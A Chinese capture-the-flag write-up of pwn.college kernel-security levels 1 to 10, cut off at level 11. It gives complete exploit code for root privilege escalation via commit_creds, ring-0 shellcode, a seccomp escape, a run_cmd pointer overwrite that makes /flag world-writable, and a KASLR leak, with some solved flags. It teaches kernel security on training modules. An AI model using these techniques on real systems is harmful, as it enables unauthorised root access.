Linux 内核漏洞利用入门:pwn.college Kernel Security Writeup
本文基于 pwn.college Kernel Security 模块的 12 个递进式挑战,系统讲解 Linux 内核漏洞利用技术。内容涵盖:通过 /proc 文件系统与内核驱动交互、commit_creds 提权原语、内核态 shellcode 编写、KASLR 地址泄露、SECCOMP 沙箱逃逸、跨进程内存读取以及 Egg Hunter 物理内存扫描。每个挑战均包含漏洞分析、利用思路和完整
前言
Linux 内核安全是系统安全领域的核心课题。相比用户态漏洞利用,内核攻防涉及更底层的机制:特权级切换、内存管理、进程调度、系统调用过滤等,这些知识构成了理解操作系统本质的基础。
本文基于 pwn.college Kernel Security 模块的 12 个递进式挑战,系统梳理了内核漏洞利用的核心技术:
- 基础交互:通过
/proc文件系统与内核驱动通信(read/write/ioctl) - 提权原语:
commit_creds(prepare_kernel_cred(0))的原理与实现 - 内核 shellcode:在 ring 0 手写汇编完成提权操作
- 保护绕过:KASLR 地址泄露、SECCOMP 沙箱逃逸
- 跨进程攻击:利用
access_process_vm读取其他进程内存 - 内存取证:Egg Hunter 技术扫描物理内存残留数据
每个挑战都包含完整的漏洞分析、利用思路和可运行的 PoC 代码。文章假设读者具备基础的 C 语言和汇编能力,但会在关键技术点(如内核内存布局、taskstruct 结构、页表属性)提供必要的背景知识。
无论你是想入门内核安全研究,还是希望系统化自己的知识体系,希望本文能为你提供一条清晰的学习路径。
前言部分由 ai 总结生成
level 1.0 - 与驱动交互
程序分析:
init_module 将flag读取全局变量
int __cdecl init_module()
{
__int64 v0; // rbp
v0 = filp_open("/flag", 0, 0);
memset(flag, 0, sizeof(flag));
kernel_read(v0, flag, 128, v0 + 104);
filp_close(v0, 0);
proc_entry = (proc_dir_entry *)proc_create("pwncollege", 438, 0, &fops);
printk(&unk_741);
printk(&unk_540);
printk(&unk_741);
printk(&unk_570);
printk(&unk_5D8);
printk(&unk_638);
printk(&unk_688);
printk(&unk_748);
return 0;
}device_write 检查用户传入的数据,读取16字节,进行硬编码校验,将比对结果保存到 device+state
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t n16; // rdx
char password[16]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v8; // [rsp+10h] [rbp-18h]
v8 = __readgsqword(0x28u);
printk(&unk_4C0);
n16 = 16;
if ( length <= 0x10 )
n16 = length;
copy_from_user(password, buffer, n16);
device_state[0] = (strncmp(password, "ensvemnrlpkloapf", 0x10u) == 0) + 1;
return length;
}device_read 根据用户传入的密码比对结果返回数据,对了就返回flag
ssize_t __fastcall device_read(file *file, char *buffer, size_t length, loff_t *offset)
{
const char *flag; // rsi
size_t length_1; // rdx
unsigned __int64 v8; // kr08_8
printk(&unk_500);
flag = flag;
if ( device_state[0] != 2 )
{
flag = "device error: unknown state\n";
if ( device_state[0] <= 2 )
{
flag = "password:\n";
if ( device_state[0] )
{
flag = "device error: unknown state\n";
if ( device_state[0] == 1 )
{
device_state[0] = 0;
flag = "invalid password\n";
}
}
}
}
length_1 = length;
v8 = strlen(flag) + 1;
if ( v8 - 1 <= length )
length_1 = v8 - 1;
return v8 - 1 - copy_to_user(buffer, flag, length_1);
}exp:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <signal.h>
#include <pthread.h>
#define DEVICE_NAME "/proc/pwncollege"
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main() {
int fd = open(DEVICE_NAME, O_RDWR);
if (fd < 0) fatal("open");
printf("[*] Device opened: %d\n", fd);
char buf[0x11] = "ensvemnrlpkloapf";
write(fd,buf,0x10);
char flag[0x100];
read(fd,flag,0x100);
puts(flag);
close(fd);
return 0;
}
level 2.0 - dmseg 查看日志
init 读取flag到全局变量
int __cdecl init_module()
{
__int64 v0; // rbp
__int64 v1; // rdx
__int64 v2; // rdx
__int64 v3; // rdx
__int64 v4; // rdx
__int64 v5; // rdx
__int64 v6; // rdx
__int64 v7; // rdx
__int64 v8; // rdx
v0 = filp_open("/flag", 0, 0);
memset(flag, 0, sizeof(flag));
kernel_read(v0, flag, 128, v0 + 104);
filp_close(v0, 0);
proc_entry = (proc_dir_entry *)proc_create("pwncollege", 438, 0, &fops);
printk(&unk_6EC, 438, v1);
printk(&unk_528, 438, v2);
printk(&unk_6EC, 438, v3);
printk(&unk_558, 438, v4);
printk(&unk_5C0, 438, v5);
printk(&unk_620, 438, v6);
printk(&unk_668, 438, v7);
printk(&unk_6F3, 438, v8);
return 0;
}write比较密码:
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t n16; // rdx
__int64 v6; // rdx
char password[16]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v9; // [rsp+10h] [rbp-18h]
v9 = __readgsqword(0x28u);
printk(&unk_4E8, file, buffer);
n16 = 16;
if ( length <= 0x10 )
n16 = length;
copy_from_user(password, buffer, n16);
if ( !strncmp(password, "clxyrfcckjpuexis", 0x10u) )
printk(&unk_6C8, flag, v6);
return length;
}通过printk输出flag,需要通过dmseg查看
exp:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <signal.h>
#include <pthread.h>
#define DEVICE_NAME "/proc/pwncollege" // TODO: Change this
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main() {
int fd = open(DEVICE_NAME, O_RDWR);
if (fd < 0) fatal("open");
printf("[*] Device opened: %d\n", fd);
char buf[0x100] = "clxyrfcckjpuexis";
write(fd,buf,0x10);
close(fd);
return 0;
}
查看:
hacker@vm_kernel-security~level2-0:~/Kernel_Security/2.0$ dmesg | grep pwn.college{
[ 52.437296] The flag is: pwn.college{MlURStoKiZi6iICIY4rkjmmWUQc.0VNyQDL1IzN1QzW}level 3.0 - commit_creds提权 初见
device_write 依然是硬编码比对
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t n16; // rdx
char password[16]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v8; // [rsp+10h] [rbp-18h]
v8 = __readgsqword(0x28u);
printk(&unk_E38, file, buffer, length, offset);
n16 = 16;
if ( length <= 0x10 )
n16 = length;
copy_from_user(password, buffer, n16);
if ( !strncmp(password, "sfvzlmiqphywsyfk", 0x10u) )
win();
return length;
}win函数:commit_creds提权之后,当前进程获得root权限,自己执行sh去读flag即可
void __cdecl win()
{
__int64 v0; // rax
printk(&unk_DF8);
v0 = prepare_kernel_cred(0);
commit_creds(v0);
}exp:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <signal.h>
#include <pthread.h>
#define DEVICE_NAME "/proc/pwncollege" // TODO: Change this
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main() {
int fd = open(DEVICE_NAME, O_RDWR);
if (fd < 0) fatal("open");
printf("[*] Device opened: %d\n", fd);
char buf[0x100] = "sfvzlmiqphywsyfk";
write(fd,buf,0x10);
system("/bin/sh");
close(fd);
return 0;
}level 4.0 - 使用 ioctl 交互
这次没有read write了,给了个ioctl,需要使用ioctl进行通信,第二个参数需要是1337,第三个参数是密码
__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 result; // rax
int v5; // r8d
char password[16]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v7; // [rsp+10h] [rbp-18h]
v7 = __readgsqword(0x28u);
printk(&unk_628, file, cmd, arg);
result = -1;
if ( cmd == 1337 )
{
copy_from_user(password, arg, 16);
v5 = strncmp(password, "eokynskogadzqpwp", 0x10u);
result = 0;
if ( !v5 )
{
win();
return 0;
}
}
return result;
}win,还是commit_creds提权:
void __cdecl win()
{
__int64 v0; // rdx
__int64 v1; // rsi
__int64 v2; // rax
printk(&unk_5E8, v1, v0);
v2 = prepare_kernel_cred(0);
commit_creds(v2);
}exp:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <signal.h>
#include <pthread.h>
#define DEVICE_NAME "/proc/pwncollege"
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main() {
int fd = open(DEVICE_NAME, O_RDWR);
if (fd < 0) fatal("open");
printf("[*] Device opened: %d\n", fd);
char buf[0x100] = "eokynskogadzqpwp";
ioctl(fd,1337,buf);
system("/bin/sh");
close(fd);
return 0;
}
level 5.0 - 了解内存布局
device_ioctl,从用户获取函数指针调用执行
__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 result; // rax
printk(&unk_298);
result = -1;
if ( cmd == 1337 )
{
((void (__fastcall *)(void *, file *))arg)(&unk_298, file);
return 0;
}
return result;
}win:
void __cdecl win()
{
__int64 v0; // rax
printk(&unk_2C8);
v0 = prepare_kernel_cred(0);
commit_creds(v0);
}很显然我需要知道win函数的地址,然后作为参数通过ioctl传入
逆向可以看到win函数偏移是0x00000000000022D,我需要知道模块基地址
vm没有开启kaslr:
hacker@vm_kernel-security~level5-0:~/Kernel_Security/5.0$ cat /proc/cmdline
rw rootfstype=9p rootflags=trans=virtio console=ttyS0 init=/opt/pwn.college/vm/init nokaslr PATH=/run/challenge/bin:/run/dojo/bin:/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin未开启 KASLR 时:内核遵循静态定义的默认布局。在 x8664 的代码中,MODULES_VADDR 宏被硬编码定义为 __START_KERNEL_map + KERNEL_IMAGE_SIZE。
__START_KERNEL_map通常是0xffffffff80000000(-2GB)。KERNEL_IMAGE_SIZE默认定义为1GB(取决于版本和配置)。- 计算结果即为
0xffffffffc0000000。
vm刚好也只有这一个模块,所以一定是这个基地址
exp
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <signal.h>
#include <pthread.h>
#define DEVICE_NAME "/proc/pwncollege" // TODO: Change this
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main() {
int fd = open(DEVICE_NAME, O_RDWR);
if (fd < 0) fatal("open");
printf("[*] Device opened: %d\n", fd);
ioctl(fd,1337,0xffffffffc000022d);
close(fd);
return 0;
}
level 6.0 - 内核 shellcode - 提权
init函数多了一步:申请可执行内存
int __cdecl init_module()
{
shellcode = (unsigned __int8 *)_vmalloc(4096, 3264, _default_kernel_pte_mask & 0x163);
proc_entry = (proc_dir_entry *)proc_create("pwncollege", 438, 0, &fops);
printk(&unk_E3E);
printk(&unk_C98);
printk(&unk_E3E);
printk(&unk_CC8);
printk(&unk_D30);
printk(&unk_D90);
printk(&unk_DD8);
printk(&unk_E45);
return 0;
}这里vmalloc的第三个参数是页表属性
_default_kernel_pte_mask:这是内核默认的页保护掩码。& 0x163:通过位运算修改默认掩码。
- 在 x86 架构中,页表属性位如下:
0x001(P): Present (存在)0x002(R/W): Read/Write (可写)0x020(A): Accessed (已访问)0x040(D): Dirty (脏页)- 关键点:它没有设置 NX 位(第 63 位)。
- 目的:这段代码的意图是强制分配一块 RWX (可读、可写、可执行) 的内存。
下一个有用的函数是write:
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t n4096; // rdx
__int64 v6; // rbp
printk(&unk_C58, file, buffer, length, offset);
n4096 = 4096;
if ( length <= 0x1000 )
n4096 = length;
v6 = copy_from_user(shellcode, buffer, n4096);
((void (*)(void))shellcode)();
return length - v6;
}从r3读取shellcode在内核中执行
这就需要手写shellcode完成之前win函数的提权操作了,首先需要知道prepare_kernel_cred和commit_creds函数的地址
用practice模式使用root权限查看符号地址,因为没有kaslr,所以地址都是一样的:
root@vm_practice~kernel-security~level6-0:/home/hacker# cat /proc/kallsyms | grep -E "prepare_kernel_cred|commit_creds"
ffffffff81089310 T commit_creds
ffffffff81089660 T prepare_kernel_cred手写shellcode:
from pwn import *
context.arch = "amd64"
"""
/*
0xffffffff81089310 T commit_creds
0xffffffff81089660 T prepare_kernel_cred
v0 = prepare_kernel_cred(0);
commit_creds(v0);
*/
"""
shellcode = """
xor rdi,rdi
mov rax,0xffffffff81089660
call rax
mov rdi,rax
mov rax,0xffffffff81089310
call rax
ret
"""
sc = asm(shellcode)
print(sc)exp:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <signal.h>
#include <pthread.h>
#define DEVICE_NAME "/proc/pwncollege"
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main() {
int fd = open(DEVICE_NAME, O_RDWR);
if (fd < 0) fatal("open");
printf("[*] Device opened: %d\n", fd);
unsigned char sc[0x100] = "H1\xffH\xc7\xc0`\x96\x08\x81\xff\xd0H\x89\xc7H\xc7\xc0\x10\x93\x08\x81\xff\xd0\xc3";
write(fd,sc,0x100);
system("/bin/sh");
close(fd);
return 0;
}level 7.0 - 调试内核获取地址
init同6.0,这里使用ioctl进行处理输入
__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 result; // rax
size_t shellcode_length; // [rsp+0h] [rbp-28h] BYREF
size_t shellcode_execute_addr; // [rsp+8h] [rbp-20h] BYREF
unsigned __int64 canary; // [rsp+10h] [rbp-18h]
canary = __readgsqword(0x28u);
printk(&unk_D80, file, cmd, arg);
result = -1;
if ( cmd == 1337 )
{
copy_from_user(&shellcode_length, arg, 8);
copy_from_user(&shellcode_execute_addr, arg + 0x1008, 8);
result = -2;
if ( shellcode_length <= 0x1000 )
{
copy_from_user(shellcode, arg + 8, shellcode_length);
((void (*)(void))shellcode_execute_addr)();
return 0;
}
}
return result;
}除了改成ioctl通信之外,无其他差别
这里需要传入结构体,差不多是这样的:
struct _Buf{
unsigned long size;
unsigned char shellcode[0x1000];
unsigned long addr;
}最后调用addr中的地址,因为shellcode所在是可执行内存,最好这里要指向这个可执行页
因为内核模块是已经加载内核里的,所以地址都是固定好的,直接practice模式去调试查看shellcode指向的地址
.bss:0000000000001540 ; ===========================================================================
.bss:0000000000001540
.bss:0000000000001540 ; Segment type: Uninitialized
.bss:0000000000001540 ; Segment permissions: Read/Write
.bss:0000000000001540 _bss segment qword public 'BSS' use64
.bss:0000000000001540 assume cs:_bss
.bss:0000000000001540 ;org 1540h
.bss:0000000000001540 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000001540 public proc_entry
.bss:0000000000001540 ; proc_dir_entry *proc_entry
.bss:0000000000001540 proc_entry dq ? ; DATA XREF: init_module+44↑w
.bss:0000000000001540 ; cleanup_module↑r
.bss:0000000000001548 ; size_t *shellcode
.bss:0000000000001548 shellcode dq ? ; DATA XREF: init_module+31↑w
.bss:0000000000001548 ; device_ioctl+75↑r
.bss:0000000000001548 _bss ends
.bss:0000000000001548因为在.bss段,所以需要.bss段基地址
hacker@vm_practice~kernel-security~level7-0:~$ sudo cat /sys/module/challenge/sections/.bss
0xffffffffc0002440
hacker@vm_practice~kernel-security~level7-0:~$ sudo cat /sys/module/challenge/sections/.data
0xffffffffc0002000
hacker@vm_practice~kernel-security~level7-0:~$ sudo cat /sys/module/challenge/sections/.text
0xffffffffc0000000vm start
vm debug
(gdb) x/xg 0xffffffffc0002440
0xffffffffc0002440: 0xffff88807c68e000
(gdb)
0xffffffffc0002448: 0xffffc90000085000exp:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <signal.h>
#include <pthread.h>
#define DEVICE_NAME "/proc/pwncollege"
void fatal(const char *msg) {
perror(msg);
exit(1);
}
typedef struct _Buf{
unsigned long long size;
unsigned char shellcode[0x1000];
unsigned long long addr;
}Buf,*pBuf;
int main() {
int fd = open(DEVICE_NAME, O_RDWR);
if (fd < 0) fatal("open");
printf("[*] Device opened: %d\n", fd);
unsigned char sc[0x100] = "H1\xffH\xc7\xc0`\x96\x08\x81\xff\xd0H\x89\xc7H\xc7\xc0\x10\x93\x08\x81\xff\xd0\xc3";
Buf buf = {0};
buf.size = 0x100;
memcpy(buf.shellcode,sc,0x100);
buf.addr = 0xffffc90000085000;
ioctl(fd,1337,&buf);
system("/bin/sh");
close(fd);
return 0;
}level 8.0 - seccomp 逃逸
init:这次权限有些不一样
int __cdecl init_module()
{
shellcode = (unsigned __int8 *)_vmalloc(4096, 3264, _default_kernel_pte_mask & 0x163);
proc_entry = (proc_dir_entry *)proc_create("pwncollege", 384, 0, &fops);
printk(&unk_8BE);
printk(&unk_718);
printk(&unk_8BE);
printk(&unk_748);
printk(&unk_7B0);
printk(&unk_810);
printk(&unk_858);
printk(&unk_8C5);
return 0;
}之前是438,换算成八进制是666
这里是384,换算成八进制是600,只有属主root可以访问
write这里和level 6完全一样:
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t n4096; // rdx
__int64 v6; // rbp
printk(&unk_6D8);
n4096 = 4096;
if ( length <= 0x1000 )
n4096 = length;
v6 = copy_from_user(shellcode, buffer, n4096);
((void (*)(void))shellcode)();
return length - v6;
}这次给了2个文件,还给了个r3程序
hacker@kernel-security~level8-0:/challenge$ ls -l
total 284
-rwsr-xr-x 1 root root 17331 Jan 28 2025 babykernel_level8.0
-rwsr-xr-x 1 root root 269816 Jan 28 2025 babykernel_level8.0.ko这个r3程序具有suid权限,可以以root权限执行:
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+24h] [rbp-1Ch]
int v5; // [rsp+28h] [rbp-18h]
int v6; // [rsp+2Ch] [rbp-14h]
__int64 v7; // [rsp+38h] [rbp-8h]
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
puts("You may upload custom shellcode to do whatever you want.\n");
puts("For extra security, this challenge will only allow certain system calls!\n");
v5 = open("/proc/pwncollege", 2);
printf("Opened `/proc/pwncollege` on fd %d.\n", v5);
puts(&s_);
if ( mmap((void *)0x31337000, 0x1000u, 7, 34, 0, 0) != (void *)0x31337000 )
__assert_fail("shellcode == (void *)0x31337000", "<stdin>", 0x63u, "main");
printf("Mapped 0x1000 bytes for shellcode at %p!\n", (const void *)0x31337000);
puts("Reading 0x1000 bytes of shellcode from stdin.\n");
v6 = read(0, (void *)0x31337000, 0x1000u);
puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(0x31337000, v6);
puts(&s_);
puts("Restricting system calls (default: allow).\n");
v7 = seccomp_init(0x7FFF0000);
for ( i = 0; i <= 511; ++i )
{
if ( i == 1 )
{
printf("Allowing syscall: %s (number %i).\n", "write", 1);
}
else if ( (unsigned int)seccomp_rule_add(v7, 0, i, 0) )
{
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_KILL, i, 0) == 0", "<stdin>", 0x79u, "main");
}
}
puts("Executing shellcode!\n");
if ( (unsigned int)seccomp_load(v7) )
__assert_fail("seccomp_load(ctx) == 0", "<stdin>", 0x7Eu, "main");
MEMORY[0x31337000]();
puts("### Goodbye!");
return 0;
}r3打开内核模块,保存在局部变量v5里,然后没有write内容进去,获取用户输入shellcode,经过seccomp过滤之后,执行shellcode
seccomp限制只能用 write 命令
也就是需要我们自己构造用户层shellcode将内核shellcode写入内核去,在内核需要做的就是逃逸seccomp,系统调用的过程如下:
系统调用入口
↓
secure_computing() 检查
↓
test_thread_flag(TIF_SECCOMP)?
├─ 否 → 继续执行系统调用
└─ 是 → __secure_computing()
↓
populate_seccomp_data() 填充数据
↓
seccomp_run_filters() 运行过滤器
↓
根据返回值决定
├─ SECCOMP_RET_ALLOW → 继续执行
├─ SECCOMP_RET_ERRNO → 返回错误
├─ SECCOMP_RET_TRAP → 发送 SIGSYS
├─ SECCOMP_RET_TRACE → 通知 tracer
├─ SECCOMP_RET_USER_NOTIF → 用户空间通知
└─ SECCOMP_RET_KILL → 杀死进程这里我们只需要让TIF_SECCOMP为0即可
小细节,这个题目使用的内核版本是5.4.0:
hacker@practice~kernel-security~level8-0:~$ vm connect
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0 x86_64)5.4.0下,TIF_SECCOMP偏移是8:
#define TIF_SECCOMP 8 /* secure computing */revertcreds 会调用current宏
(gdb) disass revert_creds
Dump of assembler code for function revert_creds:
0xffffffff810892c0 <+0>: mov %rdi,%rax
0xffffffff810892c3 <+3>: mov %gs:0x15d00,%rdx编写shellcode:(内核shellcode)
shellcode = """
mov rax , qword ptr gs:0x15d00
and qword ptr [rax] , ~(1<<8)
ret
"""用户层交互exp:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
io = process("/challenge/babykernel_level8.0")
payload = asm("""
xor rax,rax
xor rdi,rdi
inc rax
mov rdi,3
mov rdx,0x100
lea rsi,[rip+sc]
syscall
mov rax, 0x3b
lea rdi, [rip+binsh]
xor rsi, rsi
xor rdx, rdx
syscall
ret
sc:
.byte 0x65,0x48,0x8b,0x4,0x25,0x0,0x5d,0x1,0x0,0x48,0x81,0x20,0xff,0xfe,0xff,0xff,0xc3
binsh:
.ascii "/bin/sh"
""") + b"\x00"
io.sendline(payload)
io.interactive()因为binsh相当于创建子进程,子进程继承了seccomp,但我们可以不用syscall完成文件内容读取:
$ read line < /flag && echo $line
pwn.college{U7ecFckma8Y4GM875kXA34BpsgC.01NzQDL1IzN1QzW}level 9.0 - 栈溢出指针覆盖
主要逻辑在device_write里:
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
__int64 n66; // rcx
$03BF2B29B6BBB97215B935736F34BBB0 *p_logger; // rdi
__int64 v7; // rbp
$03BF2B29B6BBB97215B935736F34BBB0 logger; // [rsp+0h] [rbp-120h] BYREF
unsigned __int64 v10; // [rsp+108h] [rbp-18h]
n66 = 66;
v10 = __readgsqword(0x28u);
p_logger = &logger;
while ( n66 )
{
*(_DWORD *)p_logger->buffer = 0;
p_logger = ($03BF2B29B6BBB97215B935736F34BBB0 *)((char *)p_logger + 4);
--n66;
}
printk(&unk_6E0);
logger.log_function = (int (*)(const char *, ...))&printk;
if ( length > 0x108 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 264, length);
BUG();
}
v7 = copy_from_user(&logger, buffer, length);
logger.log_function((const char *)&logger);
return length - v7;
}这里用了一个自定义结构体:
00000000 struct $03BF2B29B6BBB97215B935736F34BBB0 // sizeof=0x108
00000000 { // XREF: device_write/r
00000000 char buffer[256];
00000100 int (*log_function)(const char *, ...); // XREF: device_write+4A/w
00000100 // device_write:loc_651/r
00000108 };接收输入,保存到结构体里解析,其中包括一个函数指针,因为没开kaslr,直接进入特权模式找一个能执行用户命令的函数地址
搜索发现内核里有这么一个函数:
static int run_cmd(const char *cmd)
{
char **argv;
static char *envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
int ret;
argv = argv_split(GFP_KERNEL, cmd, NULL);
if (argv) {
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
argv_free(argv);
} else {
ret = -ENOMEM;
}
return ret;
}搜索:
hacker@vm_practice~kernel-security~level9-0:~$ sudo cat /proc/kallsyms | grep "run_cmd"
ffffffff81089b30 t run_cmdexp:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <signal.h>
#include <pthread.h>
#define DEVICE_NAME "/proc/pwncollege"
void fatal(const char *msg) {
perror(msg);
exit(1);
}
/*
hacker@vm_practice~kernel-security~level9-0:~$ sudo cat /proc/kallsyms | grep "run_cmd"
ffffffff81089b30 t run_cmd
*/
int main() {
int fd = open(DEVICE_NAME, O_RDWR);
if (fd < 0) fatal("open");
printf("[*] Device opened: %d\n", fd);
char buf[0x108] = "/usr/bin/chmod 0777 /flag";
*(unsigned long *)&buf[0x100] = 0xffffffff81089b30;
write(fd,buf,0x108);
close(fd);
return 0;
}然后读取就行
level 10.0 - kaslr 绕过
在9的基础上做了些修改,代码层面没变化
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
__int64 n66; // rcx
$03BF2B29B6BBB97215B935736F34BBB0 *p_logger; // rdi
__int64 v7; // rbp
$03BF2B29B6BBB97215B935736F34BBB0 logger; // [rsp+0h] [rbp-120h] BYREF
unsigned __int64 v10; // [rsp+108h] [rbp-18h]
n66 = 66;
v10 = __readgsqword(0x28u);
p_logger = &logger;
while ( n66 )
{
*(_DWORD *)p_logger->buffer = 0;
p_logger = ($03BF2B29B6BBB97215B935736F34BBB0 *)((char *)p_logger + 4);
--n66;
}
printk(&unk_CF0);
logger.log_function = (int (*)(const char *, ...))&printk;
if ( length > 0x108 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 264, length);
BUG();
}
v7 = copy_from_user(&logger, buffer, length);
logger.log_function((const char *)&logger);
return length - v7;
}结构体没变:
00000000 struct $03BF2B29B6BBB97215B935736F34BBB0 // sizeof=0x108
00000000 { // XREF: device_write/r
00000000 char buffer[256];
00000100 int (*log_function)(const char *, ...); // XREF: device_write+4A/w
00000100 // device_write:loc_C61/r
00000108 };
地址变了
hacker@vm_practice~kernel-security~level10-0:~$ sudo cat /proc/kallsyms | grep "run_cmd"
ffffffffa7289b30 t run_cmd应该是开了kaslr:
hacker@vm_kernel-security~level10-0:~/Kernel_Security/10.0$ cat /proc/cmdline
rw rootfstype=9p rootflags=trans=virtio console=ttyS0 init=/opt/pwn.college/vm/init PATH=/run/challenge/bin:/run/dojo/bin:/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin他这里原本调用的函数是printk,会将内容输出,用dmesg查看
我们可以先输入0x100个a,然后等他把printk的地址输出出来,这样就得到了地址泄露
如何读取dmesg的输出得到地址泄露呢?使用 klogctl 系统调用(推荐)
这是最直接的编程接口。klogctl(在 glibc 中通常被称为 syslog 系统调用,但为了区分 syslog 守护进程,常用 klogctl)可以操作内核日志。示例:
#include <sys/klog.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
// 类型 10:获取当前内核日志缓冲区的总大小
int len = klogctl(10, NULL, 0);
if (len < 0) return -1;
char *buf = malloc(len);
// 类型 3:读取所有内核日志到缓冲区
len = klogctl(3, buf, len);
if (len > 0) {
fwrite(buf, 1, len, stdout);
}
free(buf);
return 0;
}绕过地址随机化需要知道静态偏移和地址泄露,这里我们没法得到静态偏移,没法计算基地址,好在我们想要的目标函数地址也在内核里,可以根据当前泄露的地址进行计算相对位置
hacker@vm_practice~kernel-security~level10-0:~$ sudo cat /proc/kallsyms | grep -E "printk|run_cmd"
ffffffffb3a89b30 t run_cmd
ffffffffb3ab69a9 T printkrun_cmd + 2CE79 = printk
exp:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/klog.h>
#include <signal.h>
#include <pthread.h>
#define DEVICE_NAME "/proc/pwncollege"
void fatal(const char *msg) {
perror(msg);
exit(1);
}
/*
hacker@vm_practice~kernel-security~level9-0:~$ sudo cat /proc/kallsyms | grep "run_cmd"
ffffffff81089b30 t run_cmd
*/
int main() {
int fd = open(DEVICE_NAME, O_RDWR);
if (fd < 0) fatal("open");
printf("[*] Device opened: %d\n", fd);
// char buf[0x108] = "/usr/bin/chmod 0777 /flag";
// *(unsigned long *)&buf[0x100] = 0xffffffffa7289b30 ;
char buf[0x108] ;
memset(buf,'a',0x100);
write(fd,buf,0x100);
int len = klogctl(10,NULL,0);
if(len <0) return -1;
char* buf_out = malloc(len);
len = klogctl(3,buf_out,len);
char* p_printk = strstr(buf_out,buf)+0x100;
unsigned long pprintk = *(unsigned long*)p_printk;
printf("leak printk addr => 0x%lx",pprintk);
unsigned long run_cmd = pprintk - 0x2CE79;
printf("leak run_cmd addr => %lx",run_cmd);
memset(buf,0,0x100);
strcpy(buf,"/usr/bin/chmod 0777 /flag");
*(unsigned long *)&buf[0x100] = run_cmd;
write(fd,buf,0x108);
int fd_flag = open("/flag",0);
char flag[0x100];
int l = read(fd_flag,flag,0x100);
write(1,flag,l);
close(fd);
return 0;
}level 11.0 - 内核 shellcode - 读取用户程序子进程内存
这次给了用户程序和内核模块
用户侧:
int __fastcall main(int argc, const char **argv, const char **envp)
{
